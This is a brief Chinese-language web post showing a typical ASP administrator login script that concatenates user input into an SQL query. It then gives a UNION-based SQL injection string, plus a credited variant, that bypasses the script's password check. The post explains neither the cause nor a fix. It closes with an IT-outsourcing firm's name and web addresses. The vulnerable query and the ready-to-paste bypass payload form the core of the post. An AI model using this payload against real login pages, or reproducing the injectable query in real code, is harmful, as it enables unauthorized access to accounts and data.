|       网上有很多这样的登陆验证代码   <%   username=trim(Request.Form("username"))   password=trim(Request.Form("password"))   sql="Select * FROM admin Where user='"&username&"'"   Set rs=Server.CreateObject("adodb.recordset")   rs.Open sql,conn,1,1   if rs.eof then   checksysUser=FALSE   else   passwd=trim(rs("pwd"))   if passwd=password then   Session("admin")=username   checksysUser=TRUE   else   checksysUser=FALSE   end if   End if   rs.close   conn.close   if checksysUser=true then   Response.Redirect("main.asp")   else   errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"   end if   %>   先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失   效.但如果在上面的程序中,用户名输入' union   select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' union   select 1,1,1 AS pwd FROM admin Where ''=    编辑:北京信诚IT保姆IT外包部 http:// www.xcitbm.com www.xcit.com.cn |